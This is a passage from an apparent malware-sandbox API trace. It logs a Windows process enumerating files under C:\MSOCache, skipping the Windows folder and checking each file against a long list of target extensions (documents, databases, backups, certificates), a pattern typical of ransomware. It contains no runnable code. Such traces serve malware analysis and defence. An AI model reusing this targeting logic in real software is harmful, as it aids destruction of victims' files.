ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39741f0 [0074.627] FindNextFileW (in: hFindFile=0x39741f0, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.633] FindNextFileW (in: hFindFile=0x39741f0, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0074.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0074.639] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0074.639] lstrlenW (lpString="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 40 [0074.639] lstrcmpiW (lpString1="C:\\Windows", lpString2="{90140000-0016-0409-1000-0000000FF1CE}-C") returned 1 [0074.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3ee0050 [0074.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 62 [0074.645] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974230 [0074.656] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.656] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0074.657] lstrlenW (lpString="ExcelLR.cab") returned 11 [0074.657] lstrlenW (lpString=".1cd") returned 4 [0074.657] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.657] lstrlenW (lpString=".3ds") returned 4 [0074.657] lstrcmpiW (lpString1=".3ds", lpString2=".cab") returned -1 [0074.657] lstrlenW (lpString=".3fr") returned 4 [0074.657] lstrcmpiW (lpString1=".3fr", lpString2=".cab") returned -1 [0074.657] lstrlenW (lpString=".3g2") returned 4 [0074.657] lstrcmpiW (lpString1=".3g2", lpString2=".cab") returned -1 [0074.657] lstrlenW (lpString=".3gp") returned 4 [0074.657] lstrcmpiW (lpString1=".3gp", lpString2=".cab") returned -1 [0074.657] lstrlenW (lpString=".7z") returned 3 [0074.658] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.658] lstrlenW (lpString=".accda") returned 6 [0074.658] lstrcmpiW (lpString1=".accda", lpString2="LR.cab") returned -1 [0074.658] lstrlenW (lpString=".accdb") returned 6 [0074.658] lstrcmpiW (lpString1=".accdb", lpString2="LR.cab") returned -1 [0074.658] lstrlenW (lpString=".accdc") returned 6 [0074.658] lstrcmpiW (lpString1=".accdc", lpString2="LR.cab") returned -1 [0074.658] lstrlenW (lpString=".accde") returned 6 [0074.658] lstrcmpiW (lpString1=".accde", lpString2="LR.cab") returned -1 [0074.658] lstrlenW (lpString=".accdt") returned 6 [0074.658] lstrcmpiW (lpString1=".accdt", lpString2="LR.cab") returned -1 [0074.658] lstrlenW (lpString=".accdw") returned 6 [0074.658] lstrcmpiW (lpString1=".accdw", lpString2="LR.cab") returned -1 [0074.659] lstrlenW (lpString=".adb") returned 4 [0074.659] lstrcmpiW (lpString1=".adb", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".adp") returned 4 [0074.659] lstrcmpiW (lpString1=".adp", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".ai") returned 3 [0074.659] lstrcmpiW (lpString1=".ai", lpString2="cab") returned -1 [0074.659] lstrlenW (lpString=".ai3") returned 4 [0074.659] lstrcmpiW (lpString1=".ai3", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".ai4") returned 4 [0074.659] lstrcmpiW (lpString1=".ai4", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".ai5") returned 4 [0074.659] lstrcmpiW (lpString1=".ai5", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".ai6") returned 4 [0074.659] lstrcmpiW (lpString1=".ai6", lpString2=".cab") returned -1 [0074.659] lstrlenW (lpString=".ai7") returned 4 [0074.659] lstrcmpiW (lpString1=".ai7", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".ai8") returned 4 [0074.660] lstrcmpiW (lpString1=".ai8", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".anim") returned 5 [0074.660] lstrcmpiW (lpString1=".anim", lpString2="R.cab") returned -1 [0074.660] lstrlenW (lpString=".arw") returned 4 [0074.660] lstrcmpiW (lpString1=".arw", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".as") returned 3 [0074.660] lstrcmpiW (lpString1=".as", lpString2="cab") returned -1 [0074.660] lstrlenW (lpString=".asa") returned 4 [0074.660] lstrcmpiW (lpString1=".asa", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".asc") returned 4 [0074.660] lstrcmpiW (lpString1=".asc", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".ascx") returned 5 [0074.660] lstrcmpiW (lpString1=".ascx", lpString2="R.cab") returned -1 [0074.660] lstrlenW (lpString=".asm") returned 4 [0074.660] lstrcmpiW (lpString1=".asm", lpString2=".cab") returned -1 [0074.660] lstrlenW (lpString=".asmx") returned 5 [0074.660] lstrcmpiW (lpString1=".asmx", lpString2="R.cab") returned -1 [0074.660] lstrlenW (lpString=".asp") returned 4 [0074.661] lstrcmpiW (lpString1=".asp", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".aspx") returned 5 [0074.661] lstrcmpiW (lpString1=".aspx", lpString2="R.cab") returned -1 [0074.661] lstrlenW (lpString=".asr") returned 4 [0074.661] lstrcmpiW (lpString1=".asr", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".asx") returned 4 [0074.661] lstrcmpiW (lpString1=".asx", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".avi") returned 4 [0074.661] lstrcmpiW (lpString1=".avi", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".avs") returned 4 [0074.661] lstrcmpiW (lpString1=".avs", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".backup") returned 7 [0074.661] lstrcmpiW (lpString1=".backup", lpString2="lLR.cab") returned -1 [0074.661] lstrlenW (lpString=".bak") returned 4 [0074.661] lstrcmpiW (lpString1=".bak", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".bay") returned 4 [0074.661] lstrcmpiW (lpString1=".bay", lpString2=".cab") returned -1 [0074.661] lstrlenW (lpString=".bd") returned 3 [0074.661] lstrcmpiW (lpString1=".bd", lpString2="cab") returned -1 [0074.661] lstrlenW (lpString=".bin") returned 4 [0074.661] lstrcmpiW (lpString1=".bin", lpString2=".cab") returned -1 [0074.662] lstrlenW (lpString=".bmp") returned 4 [0074.662] lstrcmpiW (lpString1=".bmp", lpString2=".cab") returned -1 [0074.662] lstrlenW (lpString=".bz2") returned 4 [0074.662] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.662] lstrlenW (lpString=".c") returned 2 [0074.662] lstrcmpiW (lpString1=".c", lpString2="ab") returned -1 [0074.662] lstrlenW (lpString=".cdr") returned 4 [0074.662] lstrcmpiW (lpString1=".cdr", lpString2=".cab") returned 1 [0074.662] lstrlenW (lpString=".cer") returned 4 [0074.662] lstrcmpiW (lpString1=".cer", lpString2=".cab") returned 1 [0074.662] lstrlenW (lpString=".cf") returned 3 [0074.662] lstrcmpiW (lpString1=".cf", lpString2="cab") returned -1 [0074.662] lstrlenW (lpString=".cfc") returned 4 [0074.662] lstrcmpiW (lpString1=".cfc", lpString2=".cab") returned 1 [0074.662] lstrlenW (lpString=".cfm") returned 4 [0074.662] lstrcmpiW (lpString1=".cfm", lpString2=".cab") returned 1 [0074.662] lstrlenW (lpString=".cfml") returned 5 [0074.662] lstrcmpiW (lpString1=".cfml", lpString2="R.cab") returned -1 [0074.662] lstrlenW (lpString=".cfu") returned 4 [0074.663] lstrcmpiW (lpString1=".cfu", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".chm") returned 4 [0074.663] lstrcmpiW (lpString1=".chm", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".cin") returned 4 [0074.663] lstrcmpiW (lpString1=".cin", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".class") returned 6 [0074.663] lstrcmpiW (lpString1=".class", lpString2="LR.cab") returned -1 [0074.663] lstrlenW (lpString=".clx") returned 4 [0074.663] lstrcmpiW (lpString1=".clx", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".config") returned 7 [0074.663] lstrcmpiW (lpString1=".config", lpString2="lLR.cab") returned -1 [0074.663] lstrlenW (lpString=".cpp") returned 4 [0074.663] lstrcmpiW (lpString1=".cpp", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".cr2") returned 4 [0074.663] lstrcmpiW (lpString1=".cr2", lpString2=".cab") returned 1 [0074.663] lstrlenW (lpString=".crt") returned 4 [0074.663] lstrcmpiW (lpString1=".crt", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".crw") returned 4 [0074.664] lstrcmpiW (lpString1=".crw", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".cs") returned 3 [0074.664] lstrcmpiW (lpString1=".cs", lpString2="cab") returned -1 [0074.664] lstrlenW (lpString=".css") returned 4 [0074.664] lstrcmpiW (lpString1=".css", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".csv") returned 4 [0074.664] lstrcmpiW (lpString1=".csv", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".cub") returned 4 [0074.664] lstrcmpiW (lpString1=".cub", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".dae") returned 4 [0074.664] lstrcmpiW (lpString1=".dae", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".dat") returned 4 [0074.664] lstrcmpiW (lpString1=".dat", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".db") returned 3 [0074.664] lstrcmpiW (lpString1=".db", lpString2="cab") returned -1 [0074.664] lstrlenW (lpString=".dbf") returned 4 [0074.664] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.664] lstrlenW (lpString=".dbx") returned 4 [0074.665] lstrcmpiW (lpString1=".dbx", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dc3") returned 4 [0074.665] lstrcmpiW (lpString1=".dc3", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dcm") returned 4 [0074.665] lstrcmpiW (lpString1=".dcm", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dcr") returned 4 [0074.665] lstrcmpiW (lpString1=".dcr", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".der") returned 4 [0074.665] lstrcmpiW (lpString1=".der", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dib") returned 4 [0074.665] lstrcmpiW (lpString1=".dib", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dic") returned 4 [0074.665] lstrcmpiW (lpString1=".dic", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".dif") returned 4 [0074.665] lstrcmpiW (lpString1=".dif", lpString2=".cab") returned 1 [0074.665] lstrlenW (lpString=".divx") returned 5 [0074.665] lstrcmpiW (lpString1=".divx", lpString2="R.cab") returned -1 [0074.665] lstrlenW (lpString=".djvu") returned 5 [0074.666] lstrcmpiW (lpString1=".djvu", lpString2="R.cab") returned -1 [0074.666] lstrlenW (lpString=".dng") returned 4 [0074.666] lstrcmpiW (lpString1=".dng", lpString2=".cab") returned 1 [0074.666] lstrlenW (lpString=".doc") returned 4 [0074.666] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.666] lstrlenW (lpString=".docm") returned 5 [0074.666] lstrcmpiW (lpString1=".docm", lpString2="R.cab") returned -1 [0074.666] lstrlenW (lpString=".docx") returned 5 [0074.666] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.666] lstrlenW (lpString=".dot") returned 4 [0074.666] lstrcmpiW (lpString1=".dot", lpString2=".cab") returned 1 [0074.666] lstrlenW (lpString=".dotm") returned 5 [0074.666] lstrcmpiW (lpString1=".dotm", lpString2="R.cab") returned -1 [0074.666] lstrlenW (lpString=".dotx") returned 5 [0074.666] lstrcmpiW (lpString1=".dotx", lpString2="R.cab") returned -1 [0074.666] lstrlenW (lpString=".dpx") returned 4 [0074.666] lstrcmpiW (lpString1=".dpx", lpString2=".cab") returned 1 [0074.666] lstrlenW (lpString=".dqy") returned 4 [0074.666] lstrcmpiW (lpString1=".dqy", lpString2=".cab") returned 1 [0074.666] lstrlenW (lpString=".dsn") returned 4 [0074.667] lstrcmpiW (lpString1=".dsn", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".dt") returned 3 [0074.667] lstrcmpiW (lpString1=".dt", lpString2="cab") returned -1 [0074.667] lstrlenW (lpString=".dtd") returned 4 [0074.667] lstrcmpiW (lpString1=".dtd", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".dwg") returned 4 [0074.667] lstrcmpiW (lpString1=".dwg", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".dwt") returned 4 [0074.667] lstrcmpiW (lpString1=".dwt", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".dx") returned 3 [0074.667] lstrcmpiW (lpString1=".dx", lpString2="cab") returned -1 [0074.667] lstrlenW (lpString=".dxf") returned 4 [0074.667] lstrcmpiW (lpString1=".dxf", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".edml") returned 5 [0074.667] lstrcmpiW (lpString1=".edml", lpString2="R.cab") returned -1 [0074.667] lstrlenW (lpString=".efd") returned 4 [0074.667] lstrcmpiW (lpString1=".efd", lpString2=".cab") returned 1 [0074.667] lstrlenW (lpString=".elf") returned 4 [0074.668] lstrcmpiW (lpString1=".elf", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".emf") returned 4 [0074.668] lstrcmpiW (lpString1=".emf", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".emz") returned 4 [0074.668] lstrcmpiW (lpString1=".emz", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".epf") returned 4 [0074.668] lstrcmpiW (lpString1=".epf", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".eps") returned 4 [0074.668] lstrcmpiW (lpString1=".eps", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".epsf") returned 5 [0074.668] lstrcmpiW (lpString1=".epsf", lpString2="R.cab") returned -1 [0074.668] lstrlenW (lpString=".epsp") returned 5 [0074.668] lstrcmpiW (lpString1=".epsp", lpString2="R.cab") returned -1 [0074.668] lstrlenW (lpString=".erf") returned 4 [0074.668] lstrcmpiW (lpString1=".erf", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".exr") returned 4 [0074.668] lstrcmpiW (lpString1=".exr", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".f4v") returned 4 [0074.668] lstrcmpiW (lpString1=".f4v", lpString2=".cab") returned 1 [0074.668] lstrlenW (lpString=".fido") returned 5 [0075.038] lstrcmpiW (lpString1=".fido", lpString2="R.cab") returned -1 [0075.038] lstrlenW (lpString=".flm") returned 4 [0075.038] lstrcmpiW (lpString1=".flm", lpString2=".cab") returned 1 [0075.038] lstrlenW (lpString=".flv") returned 4 [0075.038] lstrcmpiW (lpString1=".flv", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".frm") returned 4 [0075.039] lstrcmpiW (lpString1=".frm", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".fxg") returned 4 [0075.039] lstrcmpiW (lpString1=".fxg", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".geo") returned 4 [0075.039] lstrcmpiW (lpString1=".geo", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".gif") returned 4 [0075.039] lstrcmpiW (lpString1=".gif", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".grs") returned 4 [0075.039] lstrcmpiW (lpString1=".grs", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".gz") returned 3 [0075.039] lstrcmpiW (lpString1=".gz", lpString2="cab") returned -1 [0075.039] lstrlenW (lpString=".h") returned 2 [0075.039] lstrcmpiW (lpString1=".h", lpString2="ab") returned -1 [0075.039] lstrlenW (lpString=".hdr") returned 4 [0075.039] lstrcmpiW (lpString1=".hdr", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".hpp") returned 4 [0075.039] lstrcmpiW (lpString1=".hpp", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".hta") returned 4 [0075.039] lstrcmpiW (lpString1=".hta", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".htc") returned 4 [0075.039] lstrcmpiW (lpString1=".htc", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".htm") returned 4 [0075.039] lstrcmpiW (lpString1=".htm", lpString2=".cab") returned 1 [0075.039] lstrlenW (lpString=".html") returned 5 [0075.040] lstrcmpiW (lpString1=".html", lpString2="R.cab") returned -1 [0075.040] lstrlenW (lpString=".icb") returned 4 [0075.040] lstrcmpiW (lpString1=".icb", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".ics") returned 4 [0075.040] lstrcmpiW (lpString1=".ics", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".iff") returned 4 [0075.040] lstrcmpiW (lpString1=".iff", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".inc") returned 4 [0075.040] lstrcmpiW (lpString1=".inc", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".indd") returned 5 [0075.040] lstrcmpiW (lpString1=".indd", lpString2="R.cab") returned -1 [0075.040] lstrlenW (lpString=".ini") returned 4 [0075.040] lstrcmpiW (lpString1=".ini", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".iqy") returned 4 [0075.040] lstrcmpiW (lpString1=".iqy", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".j2c") returned 4 [0075.040] lstrcmpiW (lpString1=".j2c", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".j2k") returned 4 [0075.040] lstrcmpiW (lpString1=".j2k", lpString2=".cab") returned 1 [0075.040] lstrlenW (lpString=".java") returned 5 [0075.040] lstrcmpiW (lpString1=".java", lpString2="R.cab") returned -1 [0075.041] lstrlenW (lpString=".jp2") returned 4 [0075.041] lstrcmpiW (lpString1=".jp2", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".jpc") returned 4 [0075.041] lstrcmpiW (lpString1=".jpc", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".jpe") returned 4 [0075.041] lstrcmpiW (lpString1=".jpe", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".jpeg") returned 5 [0075.041] lstrcmpiW (lpString1=".jpeg", lpString2="R.cab") returned -1 [0075.041] lstrlenW (lpString=".jpf") returned 4 [0075.041] lstrcmpiW (lpString1=".jpf", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".jpg") returned 4 [0075.041] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".jpx") returned 4 [0075.041] lstrcmpiW (lpString1=".jpx", lpString2=".cab") returned 1 [0075.041] lstrlenW (lpString=".js") returned 3 [0075.041] lstrcmpiW (lpString1=".js", lpString2="cab") returned -1 [0075.041] lstrlenW (lpString=".jsf") returned 4 [0075.042] lstrcmpiW (lpString1=".jsf", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".json") returned 5 [0075.042] lstrcmpiW (lpString1=".json", lpString2="R.cab") returned -1 [0075.042] lstrlenW (lpString=".jsp") returned 4 [0075.042] lstrcmpiW (lpString1=".jsp", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".kdc") returned 4 [0075.042] lstrcmpiW (lpString1=".kdc", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".kmz") returned 4 [0075.042] lstrcmpiW (lpString1=".kmz", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".kwm") returned 4 [0075.042] lstrcmpiW (lpString1=".kwm", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".lasso") returned 6 [0075.042] lstrcmpiW (lpString1=".lasso", lpString2="LR.cab") returned -1 [0075.042] lstrlenW (lpString=".lbi") returned 4 [0075.042] lstrcmpiW (lpString1=".lbi", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".lgf") returned 4 [0075.042] lstrcmpiW (lpString1=".lgf", lpString2=".cab") returned 1 [0075.042] lstrlenW (lpString=".lgp") returned 4 [0075.042] lstrcmpiW (lpString1=".lgp", lpString2=".cab") returned 1 [0075.043] lstrlenW (lpString=".log") returned 4 [0075.043] lstrcmpiW (lpString1=".log", lpString2=".cab") returned 1 [0075.043] lstrlenW (lpString=".m1v") returned 4 [0075.043] lstrcmpiW (lpString1=".m1v", lpString2=".cab") returned 1 [0075.043] lstrlenW (lpString=".m4a") returned 4 [0075.043] lstrcmpiW (lpString1=".m4a", lpString2=".cab") returned 1 [0075.043] lstrlenW (lpString=".m4v") returned 4 [0075.043] lstrcmpiW (lpString1=".m4v", lpString2=".cab") returned 1 [0075.043] lstrlenW (lpString=".max") returned 4 [0075.044] lstrcmpiW (lpString1=".max", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".md") returned 3 [0075.044] lstrcmpiW (lpString1=".md", lpString2="cab") returned -1 [0075.044] lstrlenW (lpString=".mda") returned 4 [0075.044] lstrcmpiW (lpString1=".mda", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mdb") returned 4 [0075.044] lstrcmpiW (lpString1=".mdb", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mde") returned 4 [0075.044] lstrcmpiW (lpString1=".mde", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mdf") returned 4 [0075.044] lstrcmpiW (lpString1=".mdf", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mdw") returned 4 [0075.044] lstrcmpiW (lpString1=".mdw", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mef") returned 4 [0075.044] lstrcmpiW (lpString1=".mef", lpString2=".cab") returned 1 [0075.044] lstrlenW (lpString=".mft") returned 4 [0075.045] lstrcmpiW (lpString1=".mft", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mfw") returned 4 [0075.045] lstrcmpiW (lpString1=".mfw", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mht") returned 4 [0075.045] lstrcmpiW (lpString1=".mht", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mhtml") returned 6 [0075.045] lstrcmpiW (lpString1=".mhtml", lpString2="LR.cab") returned -1 [0075.045] lstrlenW (lpString=".mka") returned 4 [0075.045] lstrcmpiW (lpString1=".mka", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mkidx") returned 6 [0075.045] lstrcmpiW (lpString1=".mkidx", lpString2="LR.cab") returned -1 [0075.045] lstrlenW (lpString=".mkv") returned 4 [0075.045] lstrcmpiW (lpString1=".mkv", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mos") returned 4 [0075.045] lstrcmpiW (lpString1=".mos", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mov") returned 4 [0075.045] lstrcmpiW (lpString1=".mov", lpString2=".cab") returned 1 [0075.045] lstrlenW (lpString=".mp3") returned 4 [0075.046] lstrcmpiW (lpString1=".mp3", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".mp4") returned 4 [0075.046] lstrcmpiW (lpString1=".mp4", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".mpeg") returned 5 [0075.046] lstrcmpiW (lpString1=".mpeg", lpString2="R.cab") returned -1 [0075.046] lstrlenW (lpString=".mpg") returned 4 [0075.046] lstrcmpiW (lpString1=".mpg", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".mpv") returned 4 [0075.046] lstrcmpiW (lpString1=".mpv", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".mrw") returned 4 [0075.046] lstrcmpiW (lpString1=".mrw", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".msg") returned 4 [0075.046] lstrcmpiW (lpString1=".msg", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".mxl") returned 4 [0075.046] lstrcmpiW (lpString1=".mxl", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".myd") returned 4 [0075.046] lstrcmpiW (lpString1=".myd", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".myi") returned 4 [0075.046] lstrcmpiW (lpString1=".myi", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".nef") returned 4 [0075.046] lstrcmpiW (lpString1=".nef", lpString2=".cab") returned 1 [0075.046] lstrlenW (lpString=".nrw") returned 4 [0075.047] lstrcmpiW (lpString1=".nrw", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".obj") returned 4 [0075.047] lstrcmpiW (lpString1=".obj", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".odb") returned 4 [0075.047] lstrcmpiW (lpString1=".odb", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".odc") returned 4 [0075.047] lstrcmpiW (lpString1=".odc", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".odm") returned 4 [0075.047] lstrcmpiW (lpString1=".odm", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".odp") returned 4 [0075.047] lstrcmpiW (lpString1=".odp", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".ods") returned 4 [0075.047] lstrcmpiW (lpString1=".ods", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".oft") returned 4 [0075.047] lstrcmpiW (lpString1=".oft", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".one") returned 4 [0075.047] lstrcmpiW (lpString1=".one", lpString2=".cab") returned 1 [0075.047] lstrlenW (lpString=".onepkg") returned 7 [0075.047] lstrcmpiW (lpString1=".onepkg", lpString2="lLR.cab") returned -1 [0075.047] lstrlenW (lpString=".onetoc2") returned 8 [0075.047] lstrcmpiW (lpString1=".onetoc2", lpString2="elLR.cab") returned -1 [0075.048] lstrlenW (lpString=".opt") returned 4 [0075.048] lstrcmpiW (lpString1=".opt", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".oqy") returned 4 [0075.048] lstrcmpiW (lpString1=".oqy", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".orf") returned 4 [0075.048] lstrcmpiW (lpString1=".orf", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".p12") returned 4 [0075.048] lstrcmpiW (lpString1=".p12", lpString2=".cab") returned 1 [0075.048] lstrlenW (lpString=".p7b") returned 4 [0075.048] lstrcmpiW (lpString1=".p7b", 